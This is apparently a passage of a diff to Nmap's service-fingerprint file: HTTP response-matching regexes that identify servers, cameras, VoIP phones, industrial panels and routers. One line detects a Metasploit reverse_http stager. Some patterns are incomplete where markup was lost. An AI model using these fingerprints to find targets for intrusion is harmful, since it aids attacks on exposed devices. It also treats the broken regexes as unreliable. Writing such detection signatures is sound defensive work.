          $| p/VMware ESX 4.0 Server httpd/ h/$1/ cpe:/o:vmware:esx:4.0/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n \n Sipura SPA Configuration\r\n \n \n

          404 Not Found\r\n!

          \n\n\n$| p/Sipura SPA-2100 VoIP phone http config/ d/VoIP phone/ cpe:/h:sipura:spa-2100/a +match http m|^HTTP/1\.1 403\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\nAccess denied$| p/Vibe Streamer music server httpd/ o/Windows/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.0 404 Not Found\r\nServer: httpd\r\n.*404 Not Found\n

          404 Not Found

          \nFile not found\.\n\n$|s p/DD-WRT milli_httpd/ d/WAP/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 404 Not Found\r\nServer: HTTP\r\n(?:[^\r\n]+\r\n)*?Content-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: no-cache\r\n\r\n404 Not Found\n

          404 Not Found

          \nFile not found\.\n$|s p/Aladino SIP phone http config/ d/VoIP phone/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nContent-Length: 232\r\nCache-Control: max-age=0\r\n.*
          iNTERFACEWARE Iguana Administration Server
          \r\n\r\n\r\n\r\n|s p/Interfaceware Iguana heathcare management http interface/ +match http m|^HTTP/1\.1 404 Not Found\r\nServer: Switch \r\n.*\n.*

          HTTP/1\.1 404 NOT FOUND!
          Check flash:/http\.zip , please\.

          |s p/3Com switch http config/ d/switch/ +match http m|^HTTP/1\.0 404 Not found\r\nDate: .*\r\nServer: Acme\.Serve/v([\w._ -]+)\r\nConnection: close\r\nContent-type: text/html; charset=Cp1252\r\n\r\n| p/Acme.Serve/ v/$1/ i/APC PowerChute/ d/power-device/ cpe:/a:acme:acme.serve:$1/ +match http m|^HTTP/1\.0 404 Not found\nDate: .*\nServer: Acme\.Serve/v([\w._ -]+)\nConnection: close\nContent-type: text/html; charset=ISO-8859-1\n\n| p/Acme.Serve/ v/$1/ i/APC PowerChute/ d/power-device/ cpe:/a:acme:acme.serve:$1/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/plain\r\nContent-Length: 35\r\nConnection: close\r\n\r\nError 404: Not Found\nFile not found$| p/Mongoose httpd/ cpe:/a:cesanta:mongoose/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 35\r\nConnection: close\r\n\r\nError 404: Not Found\nFile not found$| p/Mongoose httpd/ v/3.7/ cpe:/a:cesanta:mongoose:3.7/ +match http m|^HTTP/1\.0 200 OKContent-Type: text/htmlContent-Length: \d+\r\n\r\nYou have reached Aperio DSC Server running on 0\.0\.0\.0 / \d+\r\n Number of current sessions = \d+\r\n| p/Aperio Digital Slide Conferencing httpd/ +match http m|^HTTP/1\.0 404 Not Found\r\nContent-Length: 0\r\nConnection: Close\r\nContent-Type: text/html\r\n\r\n$| p/Google Mini search appliance httpd/ +match http m|^HTTP/1\.1 404 Not Found\r\n.*Powered by Jetty://|s p/Jetty/ cpe:/a:mortbay:jetty/ +# WebCam webserver Sharx Security SCNC2700 https://www.sharxsecurity.com/products.html +# Elro Network Camera +# foscam ip camera +match http m|^HTTP/1\.1 404 Not Found\r\nServer: Netwave IP Camera\r\n| p/Netwave webcam http config/ d/webcam/ +match http m|^HTTP/1\.0 404 Not Found\r\nServer: IP_SHARER WEB ([\w._-]+)\r\nContent-type: text/html\r\nConnection: close\r\n\r\n| p/IP_SHARER WEB/ v/$1/ d/router/ cpe:/a:trendnet:ip_sharer_web:$1/ +match http m|^HTTP/1\.0 404 NOT FOUND\r\nContent-Type:text/html\r\n.*\r\n MiniWeb Client Workbench\r\n \r\n \r\n \r\n|s p/Siemens Simatic HMI MiniWeb httpd/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n\n(SPA\w+) Configuration Utility\n| p/Cisco $1 VoIP phone http config/ d/VoIP phone/ cpe:/h:cisco:$1/ +match http m|^HTTP/1\.1 400 ERROR\r\nConnection: keep-alive\r\nContent-Length: 17\r\nContent-Type: text/html\r\n\r\n\r\ninvalid request$| p/uTorrent utserver web interface/ o/Linux/ cpe:/a:utorrent:utorrent/ cpe:/o:linux:linux_kernel/ +match http m|^HTTP/1\.0 404 Not Found ?\r\nDate: .*\r\nServer: ZWorld Rabbit\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n404 Not Found404 Not Found\r\n\r\n$| p/Z-World Rabbit microcontroller httpd/ +match http m|^HTTP/1\.0 200 OK\nContent-Type: text/html\n\nFile not found

          404 / OOPS!

          \n'File not found',
          \nHow dare they say!
          \nI am here,
          \njust out of the way\.
          \n
          \nHow was I found\?
          \nA typo\? A mistake\?
          \nOr were you snooping\?!
          \n
          \nNonetheless, we meet at last\.
          \nI am found - hip hip hooray!
          \nNevermore can they say:
          \n'File not found! Back to main page!'
          \n
          \n$| p/PureChoice Nose environmental monitor http config/ cpe:/h:purechoice:nose/ +match http m|^HTTP/1\.0 200 OK\r\n.*\n\nGreenbone Security Assistant\n|s p/Greenbone Security Assistant/ cpe:/a:greenbone:greenbone_security_assistant/ +match http m|^HTTP/1\.1 200 OK\r\n.*\n\nGreenbone Security Assistant\n|s p/Greenbone Security Assistant/ v/2.0.1/ cpe:/a:greenbone:greenbone_security_assistant:2.0.1/ +match http m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/html\r\nCache-Control: public\r\nPragma: cache\r\nExpires: .* GMT\r\nDate: .* GMT\r\nLast-Modified: Fri, 12 Aug 2011 00:00:00 GMT\r\nAccept-Ranges: bytes\r\nConnection: close\r\n\r\n\n\n 404 Not Found\n\n\n

          404 Not Found

          \n

          \n \n\n\n$| p/Orange Livebox WAP http config/ d/WAP/ +match http m|^HTTP/1\.1 200 OK\r\nCache-Control: private, max-age=0, no-cache\r\nContent-Length: 188\r\nContent-Type: text/html\r\n\r\n

          GSCSERVER DEFAULT HANDLER - FILE NOT FOUND


          REQUESTED FILE = nice%20ports%2C/tri%6eity\.txt%2ebak

          $| p/Geutebrueck GeViControl video surveillance http admin/ d/security-misc/ +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nServer: Apache\r\nContent-Length: 43\r\n\r\n

          No site configured at this address

          $| p/Metasploit reverse_http stager/ +match http m|^HTTP/1\.1 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Expires: Thu, 01-Jan-1970 00:00:00 GMT\r\n.*VMware vCloud Director|s p/VMware vCloud Director/ cpe:/a:vmware:vcloud_director/ +match http m|^HTTP/1\.1 404 [^\r\n]*\r\nContent-Type: text/html;charset=.*

          Apache Tomcat/([\d.]+)

          $|s p/Apache Tomcat/ v/$1/ cpe:/a:apache:tomcat:$1/a +match http m|^HTTP/1\.1 404 /nice%20ports%2C/Tri%6Eity\.txt%2ebak\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\nServer: wifi-security-server\r\n\r\nApache Tomcat - Error report| p/Apache Tomcat/ cpe:/a:apache:tomcat/a +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: LG ROAP Server\r\nPragma: no-cache\r\nCache-Control: no-store, no-cache, must-revalidate\r\nConnection: Close\r\nContent-Length: \d+\r\nContent-Type: application/atom\+xml; charset=utf-8\r\n\r\n<\?xml version=\"1\.0\" encoding=\"utf-8\"\?>401Unauthorized$| p/LG Smart TV Rights Object Acquisition Protocol/ d/media device/ +match http m|^HTTP/1\.1 200 OK\r.*\nX-Powered-By: (Servlet/[\d.]+ JSP/[\d.]+) \(Oracle GlassFish Server ([\d.]+) Java/Oracle Corporation/([\d.]+)\)\r.*\nX-Powered-By: (JSF/[\d.]+)\r\n|s p/Oracle GlassFish application server/ v/$2/ i|$1 $4 Java/$3| cpe:/a:oracle:glassfish_server:$2/ +match http m|^HTTP/1\.1 200 OK\r.*\nServer: Oracle GlassFish Server ([\d.]+)\r\n|s p/Oracle GlassFish application server/ v/$1/ cpe:/a:oracle:glassfish_server:$1/ +# Milestone ImageServer, Milestone XProtect Enterprise +match http m|^HTTP/1\.1 404 Object Not Found\r\nDate: .*\r\nConnection: close\r\nContent-Type: text/plain\r\n(?:[^\r\n]+\r\n)*?\r\nSorry, file not found\.$|s p/Milestone httpd/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type:text/html\r\nExpires: .*\r\nPragma: no-cache\r\nServer: LPC Http Server/V([\d.]+)\r\n\r\n| p/Konica Minolta LPC httpd/ v/$1/ d/printer/ +match http m|^HTTP/1\.1 404 Not Found\r\nServer: ReeCam IP Camera\r\n| p/ReeCam IP Camera httpd/ d/webcam/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: /error\r\n$| p/Enphase httpd/ d/power-device/ +match http m|^HTTP/1\.1 404 Not Found\r\nSet-Cookie: sid=[0-9a-f]{128}; path=/; httponly\r\nContent-Type: application/json\r\nDate: .*\r\nConnection: close\r\n\r\n{\"message\":\"Resource Not Found\",\"status\":404}| p/Node.js/ cpe:/a:nodejs:node.js/ +match http m|^HTTP/1\.0 200 OK\r\nLast-modified: .*\r\nServer: ESERV-10/([\d.]+)\n| p/Viola ESERV-10 httpd/ v/$1/ +match http m|^HTTP/1\.1 503 DNS error for hostname nice%20ports%2C: Name or service not known\. If nice%20ports%2C refers to a configured cache repository, please check the corresponding configuration file\.\r\nContent-Length: 478\r\nContent-Type: text/html\r\nDate: .*\r\nServer: Debian Apt-Cacher NG/([\w._-]+)\r\nConnection: close\r\n\r\n| p/Debian Apt-Cacher NG/ v/$1/ cpe:/a:debian:apt-cacher:$1/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\r\n\r\n(SPA\d\d\d[\w._-]*) Configuration Utility| p/Cisco $1 http config/ d/VoIP phone/ cpe:/h:cisco:$1/a +match http m|^HTTP/1\.0 \d\d\d \r\n(?:[^\r\n]+\r\n)*?server: CubeCoders-McMyAdmin/IAWS\r\n.*

          McMyAdmin Enterprise - Web Backend v([\d.]+)

          |s p/CubeCoders McMyAdmin Enterprise Minecraft control panel/ v/$1/ +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/plain\r\nDate: .*\r\nConnection: close\r\n\r\nCannot GET /nice%20ports%2C/Tri%6Eity\.txt%2ebak| p/Express.js httpd/ +match http m|^HTTP/1\.1 200 OK\r\nDate: .* GMT\r\nConnection: Keep-Alive\r\nContent-Type: text/html\r\nCACHE-CONTROL: no-cache\r\nContent-Length: \d+\r\n\r\n\n\n<[Mm][Ee][Tt][Aa] http-equiv=\"Content-Type\" content=\"text/html; charset=[Uu][Tt][Ff]-8\"(?: /)?>\r?\nreplace\n\n